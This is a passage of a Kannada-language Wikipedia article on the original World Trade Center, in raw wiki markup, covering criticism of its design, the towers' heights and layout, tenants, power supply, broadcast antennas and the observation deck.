ಸಂಸ್ಥೆಯ ಸದಸ್ಯರು, ಈಗಾಗಲೇ ಖಾಲಿ ಸ್ಥಳಗಳು ಇದ್ದಾಗಲೂ, ಖಾಸಗಿ ವಲಯಗಳಿಗೆ ಪೈಪೋಟಿಯಲ್ಲಿ ಈ ಕಚೇರಿ ಸ್ಥಳವನ್ನು "ರಿಯಾಯಿತಿ ಮೇರೆಗೆ" ವಿಶಾಲ ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ನೀಡುತ್ತಿರುವುದನ್ನು ಕುರಿತು ಚಿಂತೆಯನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರು.<ref>ಜಿಲೆಸ್ಪೀ (1999), ಪುಟಗಳು 49–50</ref><ref>{{Cite news|title=New Fight Begun on Trade Center |author=Knowles, Clayton |date=February 14, 1964 |work=The New York Times}}</ref> ಬಂದರು ಪ್ರಾಧಿಕಾರವು, ಕೆಲವರಿಂದ "ತಪ್ಪಾಗಿ ತಿಳಿದುಕೊಂಡ ಸಾಮಾಜಿಕ ಆಧ್ಯತೆ" ಎಂದು ವರ್ಣಿಸಲಾದ ಮಾದರಿಯಲ್ಲೇ ಯೋಜನೆಯನ್ನು ಕೈಗೆತ್ತುಕೊಳ್ಳುವ ಪ್ರತಿಜ್ಞೆಯನ್ನು ಹೊಂದಿದೆಯೇ ಎಂದು ಇತರರು ಕೇಳಿದ್ದರು.<ref>{{Cite news|title=Kheel Urges Port Authority to Sell Trade Center |date=November 12, 1969 |work=The New York Times}}</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ವಿನ್ಯಾಸವು, ಅಮೆರಿಕನ್ ಇನ್‌ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಆರ್ಕಿಟೆಕ್ಟ್ಸ್ ಮತ್ತು ಇತರ ಗುಂಪುಗಳಿಂದ ಖಂಡನೆಗೊಳಗಾಯಿತು.<ref name="nyt-1966may29" /><ref>{{Cite news|title=Marring City's Skyline |author=Steese, Edward |date=March 10, 1964 |work=The New York Times}}</ref> ''ದಿ ಸಿಟಿ ಇನ್ ಹಿಸ್ಟರಿ'' ಮತ್ತು ನಗರ ಪ್ರದೇಶದ ಯೋಜನೆಯಲ್ಲಿನ ಇತರ ಕೃತಿಗಳ ಲೇಖಕರಾದ, ಲೆವಿಸ್ ಮಮ್‌ಫೋರ್ಡ್ ಯೋಜನೆಯನ್ನು ಖಂಡಿಸಿದರು ಮತ್ತು ಇದನ್ನು ಮತ್ತು ಇತರ ಹೊಸಾ ಅತಿ ಎತ್ತರದ ಕಟ್ಟಡಗಳನ್ನು "ಕೇವಲ ಗಾಜು-ಮತ್ತು-ಲೋಹದಿಂದ ತುಂಬಿಸಿದ ಖಾನೆಗಳುಳ್ಳ ಅಲಮಾರು" ಎಂದು ವರ್ಣಿಸಿದರು.<ref>{{Cite news|title=Mumford Finds City Strangled By Excess of Cars and People |author=Whitman, Alden |work=The New York Times |date=March 22, 1967}}</ref> ಅವಳಿ ಟವರ್'ಗಳ ಕಿರಿದಾದ ಕಛೇರಿ ಕಿಡಕಿಗಳು, ಕೇವಲ {{convert|18|in|cm}} ಅಗಲವಾಗಿದ್ದು, ಇವು ಕಟ್ಟಡದಿಂದ ನೋಡುವ ನೋಟವನ್ನು ಕುಂದಿಸುತ್ತಿದ್ದ ಕಾರಣಕ್ಕಾಗಿ ಬಹುತೇಕ ಜನರು ಇಸ್ಟಪಡದೇಇರಲು ಕಾರಣವಾದವು.<ref name="pekala" /> ಅತ್ಯಂತ ಸಾಂಪ್ರದಾಯಕ, ದಟ್ಟವಾದ ನೆರೆಯನ್ನು ಸ್ಥಾನಪಲ್ಲಟಗೊಳಿಸಿದ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ "ಸೂಪರ್‌ಬ್ಲಾಕ್‌" ಅನ್ನು, ಮ್ಯಾನ್‌ಹಾಟನ್‌ನ ಸಂಕೀರ್ಣ ಟ್ರಾಫಿಕ್ (ಸಾಗಣೆ) ಜಾಲವನ್ನು ಅಡ್ಡಿಪಡಿಸಿದ ಅನಾದರಣೆಯ ವಾತಾವರಣವಾಗಿ ಕೆಲವು ಖಂಡನೆಗಳಿಂದ ಪರಿಗಣಿಸಲಾಯಿತು. ಉದಾಹರಣೆಗೆ, ''ದಿ ಪೆಂಟಾಗನ್ ಆಫ್ ಫವರ್'' ಅನ್ನುವ ಅವರ ಪುಸ್ತಕದಲ್ಲಿ, ಲೆವಿಸ್ ಮಮ್‌ಫೋರ್ಡ್, ಕೇಂದ್ರವನ್ನು " ಎಲ್ಲ ಪ್ರಮುಖ ನಗರಗಳ ಜೀವನೋಪಾಯಗಳನ್ನು ನಾಶಪಡಿಸುತ್ತಿರುವ ಒಂದು ತಾಂತ್ರಿಕ ಪ್ರದರ್ಶನೆ ಮತ್ತು ಇರಾದೆ ಇಲ್ಲದ ದೈತ್ಯಾಕಾರವು" ಎಂದು ದೂಷಿಸಿದರು.<ref>{{Cite book|title=The Pentagon of Power |author=Mumford, Lewis |year=1970 |publisher=Harcourt Brace Jovanovich |page=342 |isbn=0151639744}}</ref> ಅನೇಕ ವರ್ಷಗಳ ವರೆಗೂ, ಬಹುದೊಡ್ಡದಾದ ಆಸ್ಟಿನ್ ಜೆ. ಟೋಬಿನ್ ಪ್ಲಾಝಾವು ನೆಲಮಹಡಿಯಲ್ಲಿ ಆಗಾಗ್ಗೆ ತೀವ್ರವಾದ ಗಾಳಿಯಿಂದ ಸುತ್ತಿಕೊಳ್ಳುತ್ತಿತ್ತು.<ref>{{Cite news|title=At New Trade Center, Seeking Lively (but Secure) Streets |work=The New York Times |url = https://www.nytimes.com/2006/12/07/nyregion/07blocks.html?fta=y |date=December 7, 2006 |author=Dunlap, David W}}</ref> 1999ರಲ್ಲಿ, $12&nbsp;ಮಿಲಿಯನ್ ನವೀಕರಣಕ್ಕೆ ಒಳಗಾದ ನಂತರ ಪ್ಲಾಝಾದ ಹೊರಾಂಗಣವನ್ನು ಮರುತೆರೆಯಲಾಯಿತು, ಈ ನವೀಕರಣವು ಮಾರ್ಬಲ್‌ (ಅಮೃತಶಿಲೆ)ಗಳ ಕಲ್ಲುಹಾಸುಗಳನ್ನು, ಬೂದಿಬಣ್ಣ ಮತ್ತು ಗುಲಾಬಿ ಬಣ್ಣದ ಗ್ರಾನೈಟ್ ಕಲ್ಲುಗಳಿಂದ ಮರುಜೋಡಿಸುವಿಕೆ, ಹೊಸಾ ಬೆಂಚುಗಳ ಸೇರ್ಪಡೆ, ತೋಟಗಾರರು, ಹೊಸಾ ರೆಸ್ಟೋರೆಂಟುಗಳನ್ನು, ತಿಂಡಿತಿನಿಸುಗಳ ಗೂಡಂಗಡಿಗಳನ್ನು ಮತ್ತು ಹೊರಾಂಗಣದ ಊಟದ ಪ್ರದೇಶಗಳನ್ನು ಒಳಗೊಂಡಿದೆ.<ref>{{Cite web |url=http://www.panynj.gov/pr/71-99.html |title=World Trade Center Plaza Reopens with Summer-long Performing Arts Festival |publisher=PANYNJ |date=June 9, 1999 |access-date=ನವೆಂಬರ್ 23, 2010 |archive-date=ಡಿಸೆಂಬರ್ 28, 2008 |archive-url=https://web.archive.org/web/20081228084900/http://www.panynj.gov/pr/71-99.html |url-status=dead }}</ref> ==ಸಂಕೀರ್ಣತೆ== === ಉತ್ತರ ಮತ್ತು ದಕ್ಷಿಣ ಟವರ್‌ಗಳು === [[File:WTC Building Arrangement and Site Plan.svg|thumb|right|ಡಬ್ಲುಟಿಸಿ ಸೈಟ್‌ನ ನಿರ್ಮಾಣ ವ್ಯವಸ್ಥೆ]] 1980ರಲ್ಲಿನ 7&nbsp;ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ನಿರ್ಮಾಣದೊಂದಿಗೆ, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು ಒಟ್ಟು ಏಳು ಕಟ್ಟಡಗಳನ್ನು ಹೊಂದಿದೆ, ಆದರೆ ಅತ್ಯಂತ ಪ್ರಸಿದ್ಧವಾದವು ಪ್ರಮುಖ ಎರಡು ಟವರುಗಳು ಮಾತ್ರ, ಇವುಗಳಲ್ಲಿ ಪ್ರತಿಯೊಂದು 110 ಮಹಡಿಗಳ ನೀಳವನ್ನು ಹೊಂದಿದ್ದು, ಸುಮಾರು {{convert|1350|ft|m}} ಎತ್ತರಕ್ಕೆ ನಿಂತಿವೆ, ಮತ್ತು ಇವುಗಳ ಒಟ್ಟು {{convert|16|acre|m2}} ಸ್ಥಳವು ಒಂದು ಎಕರೆ (43,560&nbsp;ಚದುರ ಅಡಿ) ಭೂಮಿಯನ್ನು ಒಳಗೊಂಡಿದೆd. 1973ರಲ್ಲಿನ ಪತ್ರಿಕಾಗೋಷ್ಠಿಯ ಸಮಯದಲ್ಲಿ, ಯಮಸಾಕಿಯವರನ್ನು "ಯಾಕೆ ಎರಡು 110-ಮಹಡಿಗಳ ಕಟ್ಟಡಗಳಿವೆ? ಯಾಕೆ ಒಂದೇ 220-ಮಹಡಿಯ ಕಟ್ಟಡವಿಲ್ಲ?" ಎಂದು ಕೇಳಲಾಯಿತು, ಅದಕ್ಕೆ ಅವರ ಉತ್ತರವು ಈ ರೀತಿ ಇತ್ತು: "ಮಾನವನ ಅಳತೆ ಮಾಪನವನ್ನು ಕಳೆದುಕೊಳ್ಳಲು ನನಗೆ ಇಷ್ಟವಿರಲಿಲ್ಲ".<ref>{{Cite news|url=http://www.enr.com/new/A0816.asp |archiveurl=https://web.archive.org/web/20020611065443/http://www.enr.com/new/A0816.asp |archivedate=June 11, 2002 |title=1973: World Trade Center Is Dynamic Duo of Height |publisher=Engineering News-Record |date=August 16, 1999}}</ref> 1972ರಲ್ಲಿ ಪೂರ್ಣಗೊಂಡಾಗ, 1&nbsp;ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು (ಉತ್ತರ ಟವರ್), 40-ವರ್ಷಗಳ ಕಾಲ ಪ್ರಭಲವಾಗಿದ್ದ ಎಂಪೈರ್ ಸ್ಟೇಟ್ ಕಟ್ಟಡವನ್ನು ಮೀರಿ ಎರಡು ವರ್ಷಗಳವರೆಗೂ ಪ್ರಪಂಚದಲ್ಲೇ ಅತಿ ಎತ್ತರವಾದ ಕಟ್ಟಡವಾಗಿತ್ತು. ಉತ್ತರ ಟವರ್ {{convert|1368|ft|m|sing=off}} ಎತ್ತರವಾಗಿತ್ತು ಮತ್ತು 1978ರಲ್ಲಿ ಮೇಲ್ಛಾವಣಿಯ ತುದಿಯಲ್ಲಿ ದೂರಸಂಪರ್ಕ ಯಾಂಟೆನಾ ಅಥವಾ ರೇಡಿಯೋ ಸ್ತಂಭವನ್ನು ಹೊಂದಿದ್ದು {{convert|360|ft|m|sing=off}} ಎತ್ತರದ ಕಟ್ಟಡವಾಗಿ ಉಳಿಯಿತು. {{convert|360|ft|m|adj=on}}-ಎತ್ತರದ ಯಾಂಟೆನಾ/ರೇಡಿಯೋ ಸ್ತಂಭದೊಂದಿಗೆ, ಉತ್ತರ ಟವರ್‌ನ ಅತಿ ಎತ್ತರದ ತುದಿಯು {{convert|1728|ft|m|abbr=on}}ಕ್ಕೆ ತಲುಪಿದೆ. 1973ರಲ್ಲಿ 2&nbsp;ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ (ದಕ್ಷಿಣ ಟವರ್) ನಿರ್ಮಾಣವು ಪೂರ್ಣಗೊಂಡಾಗ ಇದು ಪ್ರಪಂಚದಲ್ಲೇ ಎರಡನೆಯ ಎತ್ತರದ ಕಟ್ಟಡವಾಯಿತು. ದಕ್ಷಿಣ ಟವರ್‌ನ ಮೇಲ್ಛಾವಣಿತುದಿಯ ವೀಕ್ಷಣಾ ವೇದಿಕೆ {{convert|1377|ft|m|abbr=on}} ಎತ್ತರ ಇತ್ತು ಮತ್ತು ಒಳಾಂಗಣದ ವೀಕ್ಷಣಾ ವೇದಿಕೆ {{convert|1310|ft|m|abbr=on}} ಎತ್ತರ ಇತ್ತು.<ref>{{Cite news|last=Mcdowell |first=Edwin |url=http://query.nytimes.com/gst/fullpage.html?res=9802EED7133CF932A25757C0A961958260&sec=&spon=&pagewanted=all |title=At Trade Center Deck, Views Are Lofty, as Are the Prices - The |work=The New York Times |date=April 11, 1997 |accessdate=September 12, 2009}}</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ಟವರ್‌ಗಳು ಎತ್ತರದ ದಾಖಲೆಗಳನ್ನು ಅಲ್ಪಾವಧಿಗೆ ಮಾತ್ರ ಹೊಂದಿದ್ದವು: {{Nowrap|May 1973}}ರಲ್ಲಿ ಪೂರ್ಣಗೊಂಡ, ಚಿಕಾಗೊನ ಸಿಯರ್ಸ್ ಟವರ್, ಮೇಲ್ಛಾವಣಿಯ ತುದಿಯಲ್ಲಿ {{convert|1450|ft}} ಎತ್ತರವನ್ನು ತಲುಪಿದೆ.<ref>{{Cite web| title=Willis Tower Building Information | url=http://www.searstower.com/propertyprofile.html | accessdate=December 1, 2008 }}</ref> 110 ಮಹಡಿಗಳಲ್ಲಿ, ಎಂಟನ್ನು ತಾಂತ್ರಿಕ ಸೇವೆಗಾಗಿ ಯಾಂತ್ರಿಕ ಮಹಡಿಗಳ ಮಟ್ಟ ಬಿ5/ಬಿ6ನಲ್ಲಿ ಸೆಟ್ ಮಾಡಲಾಗಿದೆ (ಮಹಡಿಗಳು 7/8, 41/42, 75/76, ಮತ್ತು 108/109), ಇವು ನಾಲ್ಕು ಎರಡು-ಮಹಡಿಯ ಪ್ರದೇಶಗಳಾಗಿದ್ದು, ಕಟ್ಟಡದಲ್ಲಿ ಸಮನಾಗಿ ಹರಡಿವೆ. ಉಳಿದ ಎಲ್ಲಾ ಮಹಡಿಗಳು ವಿಶಾಲ ಪ್ರದೇಶದ ಕಛೇರಿಗಳಿಗೆ ಮುಕ್ತವಾಗಿವೆ. ಪ್ರತಿಯೊಂದು ಮಹಡಿಗಳು ಅನುಭೋಗಕ್ಕೆ {{convert|40000|sqft|m2}} ರಷ್ಟು ಜಾಗವನ್ನು ಹೊಂದಿವೆ.<ref name="ruchelman-p11" /> ಪ್ರತಿಯೊಂದು ಟವರ್ 3.8&nbsp;ಮಿಲಿಯನ್ ಚದುರ ಅಡಿ ({{Nowrap|350,000 m<sup>2</sup>)}}) ಕಛೇರಿ ಸ್ಥಳವನ್ನು ಹೊಂದಿದೆ. ಏಳು ಕಟ್ಟಡಗಳು ಸೇರಿ ಒಟ್ಟಾರೆ ಸಂಕೀರ್ಣದ ಸ್ಥಳ 11.2 ಮಿಲಿಯನ್ ಚದುರ ಅಡಿ (1.04&nbsp;ಕಿಮೀ<sup>2</sup>)ಗಳಷ್ಟು ಇದೆ. [[File:World Trade Center lobby, 08-19-2000.png|thumb|right|ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಪ್ರವೇಶ ಮಂಟಪ]] ಆರಂಭದಲ್ಲಿ ಸಂಕೀರ್ಣವು, "ವಿಶ್ವ ವಾಣಿಜ್ಯ ವ್ಯಾಪಾರದಲ್ಲಿ" ಭಾಗವಹಿಸಿದ ಸಂಸ್ಥೆಗಳಿಗೆ ಮತ್ತು ಸಂಘಗಳಿಗೆ ಮಾತ್ರ ಸೀಮಿತವಾಗಿದೆ ಎಂದು ಭಾವಿಸಲಾಗಿತ್ತು, ಮೊದಲು ಅವರು ನಿರೀಕ್ಷಿಸಿದ ಗಿರಾಕಿಗಳನ್ನು ಆಕರ್ಷಿಸುವಲ್ಲಿ ವಿಫಲರಾದರು. ಮೊದಲಿನ ವರ್ಷಗಳ ಸಮಯದಲ್ಲಿ, ವಿವಿಧ ಸರಕಾರಿ ಸಂಸ್ಥೆಗಳು, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಪ್ರಮುಖ ಬಾಡಿಗೆದಾರರಾದರು, ಇವರಲ್ಲಿ ನ್ಯೂ ಯಾರ್ಕ್ ರಾಜ್ಯವು ಸಹ ಸೇರಿದೆ. ಇದು ನಗರದ ಅಪಾಯಕಾರಿ ಆರ್ಥಿಕ ಸ್ಥಿತಿ ಶಾಂತಿಸಿದ 1980ರ ದಶಕದವರೆಗೂ ಉಳಿಯಲಿಲ್ಲ, ಇದರ ನಂತರ ಅಧಿಕ ಸಂಖ್ಯೆಯ ಖಾಸಗಿ ಸಂಸ್ಥೆಗಳು-ಬಹುಶಃ ವಾಲ್ ಸ್ಟ್ರೀಟ್‌ದೊಂದಿಗೆ ಒಪ್ಪಂದ ಮಾಡಿಕೊಂಡ ಆರ್ಥಿಕ ಮಂಡಳಿದವರು-ಬಾಡಿಗೆದಾರರಾದರು. 1990ರ ದಶಕದ ಸಮಯದಲ್ಲಿ, ಈ ಸಂಕೀರ್ಣದಲ್ಲಿ ಸುಮಾರು 500 ಸಂಸ್ಥೆಗಳು ಕಛೇರಿಗಳನ್ನು ಹೊಂದಿವೆ, ಇವುಗಳಲ್ಲಿ ಮೋರ್ಗನ್ ಸ್ಟಾನ್ಲೆ, ಅಯನ್ ಕಾರ್ಪೊರೇಷನ್, ಸಲೋಮೊನ್ ಬ್ರದರ್ಸ್‌ಗಳಂತಹ ಅನೇಕ ಆರ್ಥಿಕ ಸಂಸ್ಥೆಗಳು ಮತ್ತು ಬಂದರು ಪ್ರಾಧಿಕಾರದ ಸ್ವಂತ ಕಛೇರಿಗಳು ಸೇರಿವೆ. ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ತಳಮನೆಯ ದೊಡ್ಡ ಅಂಗಣವು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದಲ್ಲಿನ ಮಳಿಗೆ, ಇದರೊಂದಿಗೆ ಪಾತ್ ಸ್ಟೇಷನ್‌ನ್ನು ಹೊಂದಿದೆ.{{Citation needed|date=October 2009}} ಉತ್ತರ ಟವರ್, ಕ್ಯಾಂಟರ್ ಫಿಡ್ಜೆರಾಲ್ಡ್‌ನ ಸಂಸ್ಥೆಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಮುಖ್ಯಕಾರ್ಯಾಲಯಗಳ ತಾಣವಾಗಿದೆ,<ref>"[https://web.archive.org/web/20000304012316/http://www.cantor.com/locations.htm ಆಫೀಸ್ ಸ್ಥಳಗಳು]." ಕ್ಯಾಂಟರ್ ಫಿಟ್ಜ್‌ಗೆರಾಲ್ಡ್. {{Nowrap|March 4}}, 2000. ಪುನಃ ಪಡೆದುಕೊಳ್ಳಲಾಗಿದೆ {{Nowrap|October 4}}, 2009.</ref> ಮತ್ತು ನ್ಯೂ ಯಾರ್ಕ್ ಮತ್ತು ನ್ಯೂ ಜೆರ್ಸಿ‌ ಬಂದರು ಪ್ರಾಧಿಕಾರದ ಮುಖ್ಯಕಾರ್ಯಾಲಯದ ತಾಣವು ಸಹ ಆಗಿದೆ.<ref>"[https://web.archive.org/web/20000622214437/http://panynj.gov/abframe.HTM ಅಬೌಟ್ ದಿ ಪೋರ್ಟ್ ಅಥಾರಿಟಿ]." ನ್ಯೂಯಾರ್ಕ್ ಮತ್ತು ನ್ಯೂಜೆರ್ಸಿ ನಗರಗಳ ಬಂದರು ಪ್ರಾಧಿಕಾರ. {{Nowrap|June 22}}, 2000. ಪುನಃ ಸಂಪಾದಿಸಲಾಗಿದೆ {{Nowrap|January 22}}, 2010.</ref> ಟವರ್‌ಗಳಿಗೆ ವಿದ್ಯುತ್‌ ಸೇವೆಯನ್ನು ಕನ್ಸಾಲಿಡೇಟೆಡ್ ಎಡಿಷನ್ (ConEd)ಮೂಲಕ 13,800&nbsp;ವೋಲ್ಟ್‌ಗಳಲ್ಲಿ ಸರಬರಾಜುಮಾಡಲಾಗಿದೆ. ಈ ಸೇವೆಯು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಪ್ರಾಥಮಿಕ ವಿತರಣಾ ಕೇಂದ್ರದ (ಪಿಡಿಸಿ) ಮೂಲಕ ಸಾಗಿದೆ ಮತ್ತು ಕಟ್ಟಡದ ಮಧ್ಯಭಾಗದ ಮೂಲಕ ಯಾಂತ್ರಿಕ ಮಹಡಿಗಳಲ್ಲಿದ್ದ ವಿದ್ಯುತ್‌ ಉಪಸ್ಟೇಷನ್‌ಗಳಿಗೆ ಸೆಟ್‌ಮಾಡಲಾಗಿದೆ. ಉಪಸ್ಟೇಷನ್‌ಗಳು ಪ್ರಾಥಮಿಕ 13,800 ವೋಲ್ಟೆಜ್‌ನ್ನು (ವಿದ್ಯುತ್‌ ಶಕ್ತಿಯ ಪ್ರಮಾಣ) 480/277 ವೋಲ್ಟ್ ಎರಡನೆಯ ಶಕ್ತಿ ಮತ್ತು ಮುಂದೆ 120/208 ವೋಲ್ಟ್ ಸಾಮಾನ್ಯ ಶಕ್ತಿ ಮತ್ತು ಬೆಳಕಿನ ಸೇವೆಯನ್ನಾಗಿ ವಿಂಗಡಿಸುತ್ತದೆ. ಸಂಕೀರ್ಣವು, ಟವರಿನ ಉಪಹಂತಗಳಲ್ಲಿ ಮತ್ತು 5&nbsp;ಡಬ್ಲುಟಿಸಿಯ ಮೇಲ್ಛಾವಣಿಯ ಮೇಲೆ ಇರಿಸಿದ ತುರ್ತು ಜೆನರೇಟರುಗಳ ಸೇವೆಯನ್ನು ಸಹ ಹೊಂದಿದೆ.<ref>{{Cite web|publisher=[[Federal Emergency Management Agency]]|url=http://www.fema.gov/pdf/library/fema403_ch2.pdf|accessdate=March 8, 2007|title=World Trade Center Building Performance Study|quote=Six 1,200-kilowatt (kW) emergency power generators located in the sixth basement (B-6) level provided a secondary power supply.|format=PDF}}</ref><ref>{{Cite web|quote=E-J Electric set four generators on the roof of Tower 5, which was nine stories, as opposed to the 110-story Towers 1 and 2. E-J then ran high-voltage feeder cable to Towers 1, 2, 4 and 5, installed three substations and distributed power to the tenants.|publisher=CEE News|date=January 1, 2001 |accessdate=March 8, 2007 |url=http://september11.ceenews.com/ar/electric_towering_security_2/index.htm |author=Fischbach, Amy Florence |title=Towering security |archiveurl = https://web.archive.org/web/20061021042017/http://september11.ceenews.com/ar/electric_towering_security_2/index.htm |archivedate = October 21, 2006}}</ref> 1&nbsp;ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಉತ್ತರ ಟವರ್)ನ 110ನೆಯ ಮಹಡಿಯು ರೇಡಿಯೋ ಮತ್ತು ದೂರದರ್ಶನ ಪ್ರಸಾರಣೆ ಉಪಕರಣವನ್ನು ಹೊಂದಿದೆ. 1&nbsp;ಡಬ್ಲುಟಿಸಿಯ ಮೇಲ್ಛಾವಣಿಯು 360 ಅಡಿ (ಸುಮಾರು 110&nbsp;ಮೀ) ಕೇಂದ್ರ ಯಾಂಟೆನ ಜಾಲಕವನ್ನು ಸೇರಿ ವಿಶಾಲ ಟ್ರಾನ್ಸ್‌ಮಿಷನ್ ಯಾಂಟೆನಗಳನ್ನು ಹೊಂದಿದ್ದು, ಡಿಟಿವಿಯನ್ನು ಸೇರಿಸಲು ಇದನ್ನು 1999ರಲ್ಲಿ ಡೈಎಲೆಕ್‌ಟ್ರಿಕ್ Inc. ಇವರಿಂದ ಮರುನಿರ್ಮಿಸಲಾಯಿತು. ಕೇಂದ್ರ ಜಾಲಕವು ಬಹಳಮಟ್ಟಿಗೆ ಎಲ್ಲಾ ಎನ್‌ವೈಸಿ ದೂರದರ್ಶನ ಪ್ರಸಾರಕರಿಗೆ ಚೂರದರ್ಶನ ಸಿಗ್ನಲ್‌ಗಳನ್ನು ಹೊಂದಿದೆ: ಡಬ್ಲುಸಿಬಿಎಸ್-ಟಿವಿ&nbsp;2, ಡಬ್ಲುಎನ್‌ಬಿಸಿ-ಟಿವಿ&nbsp;4, ಡಬ್ಲುಎನ್‌ವೈಡಬ್ಲ್ಯೂ&nbsp;5, ಡಬ್ಲುಎಬಿಸಿ-ಟಿವಿ&nbsp;7, ಡಬ್ಲುಡಬ್ಲುಒಆರ್-ಟಿವಿ&nbsp;9 ಸೆಕಾವ್‌ಕಸ್, ಡಬ್ಲುಪಿಐಎಕ್ಸ್&nbsp;11, ಡಬ್ಲುಎನ್‌ಇಟಿ&nbsp;13 ನೆವಾರ್ಕ್, ಡಬ್ಲುಪಿಎಕ್ಸೆನ್-ಟಿವಿ&nbsp;31 ಮತ್ತು ಡಬ್ಲುಎನ್‌ಜೆಯು&nbsp;47 ಲಿಂಡನ್. ಇದು ನಾಲ್ಕು ಎನ್‌ವೈಸಿ ಎಫ್‌ಎಮ್ ಪ್ರಸಾರಕರನ್ನು ಸಹ ಹೊಂದಿದೆ: ಡಬ್ಲುಪಿಎಟಿ-ಎಫ್‌ಎಮ್&nbsp;93.1, ಡಬ್ಲುಎನ್‌ವೈಸಿ&nbsp;93.9, ಡಬ್ಲುಕೆಸಿಆರ್&nbsp;89.9, ಮತ್ತು ಡಬ್ಲುಕೆಟಿಯು&nbsp;103.5. ಮೇಲ್ಛಾಣಿಗೆ ಪ್ರವೇಶವನ್ನು, 2&nbsp;ಡಬ್ಲುಟಿಸಿಯ ಬಿ1 ಹಂತದಲ್ಲಿನ ಡಬ್ಲುಟಿಸಿ ಕಾರ್ಯಾಚರಣೆ ನಿಯಂತ್ರಣಾ ಕೇಂದ್ರ (ಒಸಿಸಿ) ಯಿಂದ ನಿಯಂತ್ರಿಸಲಾಗುತ್ತದೆ. ===ವಿಶ್ವ ವೀಕ್ಷಣಾ ವೇದಿಕೆಯ ಮೇಲ್ಭಾಗ=== {{Main|Top of the World Trade Center Observatories}} [[File:Observationwtc.jpg|thumb|right|ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ವೀಕ್ಷಣಾ ಜಗಲಿಯು ಪ್ರತಿದಿನ ಅಂದಾಜು 80,000 ವೀಕ್ಷಕರನ್ನು ಆಕರ್ಷಿಸುತ್ತದೆ.]] ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ಸಂಕೀರ್ಣದ ಬಹುತೇಕ ಸ್ಥಳಗಳಿಗೆ ಸಾರ್ವಜನಿಕರ ಪ್ರವೆಶವನ್ನು ನಿಷೇಧಿಸಲಾಗಿದ್ದರೂ, ದಕ್ಷಿಣ ಟವರ್ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಸಮೀಕ್ಷಾಮಂದಿರಗಳ ಮೇಲ್ಭಾಗ ಎಂದು ಕರೆಯಲ್ಪಡುವ ಒಳಾಂಗಣ ಮತ್ತು ಹೊರಾಂಗಣ ಸಾರ್ವಜನಿಕ ವೀಕ್ಷಣಾ ಪ್ರದೇಶಗಳನ್ನು ಇದರ 107ನೆಯ ಮತ್ತು 110ನೆಯ ಮಹಡಿಗಳಲ್ಲಿ ಹೊಂದಿದೆ. ವೀಕ್ಷಣಾ ವೇದಿಕೆಗೆ ಬೇಟಿನೀಡುವಾಗ, ಸಂದರ್ಶಕರು, 1993ರ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಬಾಂಬುದಾಳಿಯ ನಂತರ ಸೇರ್ಪಡೆಮಾಡಲಾದ ಭದ್ರತಾ ತಪಾಸಣೆಗಳಿಗೆ ಒಳಪಡಬೇಕಾಗುತ್ತದೆ, ನಂತರ ಅವರನ್ನು 107ನೆಯ ಮಹಡಿಯ ಒಳಾಂಗಣ ಸಮೀಕ್ಷಾ ಮಂದಿರಕ್ಕಾಗಿ {{convert|1310|ft|m}} ಎತ್ತರಕ್ಕೆ ವೇಗವಾಗಿ ಸಾಗಿಸಲಾಗುತ್ತದೆ. 1995ರಲ್ಲಿ ಬಂದರು ಪ್ರಾಧಿಕಾರವು ಸಮೀಕ್ಷಾ ಮಂದಿರದ ಜೀರ್ಣೋದ್ಧಾರ ಕಾರ್ಯವನ್ನು ನೆರವೇರಿಸಿತು, ನಂತರ ಇದರ ಕಾರ್ಯನಿರ್ವಹಣೆಯನ್ನು ಮಾಡಲು ಓಗ್ಡೆನ್ ಯಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಸಂಸ್ಥೆಗೆ ಭೋಗ್ಯಕ್ಕೆ ನೀಡಲಾಯಿತು. ವೀಕ್ಷಣಾ ವೇದಿಕೆಗೆ ಸೇರಿಸಲಾದ ಆಕರ್ಷಕಗಳಲ್ಲಿ ಹೆಲಿಕಾಫ್ಟರ್‌ನಲ್ಲಿ ನಗರವನ್ನು ಸುತ್ತುವುದು ಸಹ ಸೇರಿದೆ. 107ನೆಯ ಮಹಡಿಯ ಆಹಾರ ಅಂಗಣವನ್ನು ಕಾರಿನ ಸುರಂಗಮಾರ್ಗದೊಂದಿಗೆ ವಿನ್ಯಾಸಿಸಲಾಗಿದೆ ಮತ್ತು ಇದು ಸ್ಬಾರೊ ಮತ್ತು ನಥನ್'ನ ಪ್ರಸಿದ್ಧ ಹಾಟ್ ಡಾಗ್ಸ್‌ನ ವೈಶಿಷ್ಟ್ಯತೆಯನ್ನು ಸಹ ಹೊಂದಿದೆ.<ref name="mcdowell">{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=9802EED7133CF932A25757C0A961958260 |title=At Trade Center Deck, Views Are Lofty, as Are the Prices |author=McDowell, Edwin |date=April 11, 1997 |work=The New York Times |accessdate=November 21, 2008}}</ref><ref name="darton-p152">ಡಾರ್ಟನ್ (1999), ಪು. 152</ref> ವಾತಾವರಣ ಅನುಕೂಲಿಸಿದರೆ, ಸಂದರ್ಶಕರು 107ನೆಯ ಮಹಡಿಯ ವೀಕ್ಷಣಾ ಪ್ರದೇಶದಿಂದ 110ನೆಯ 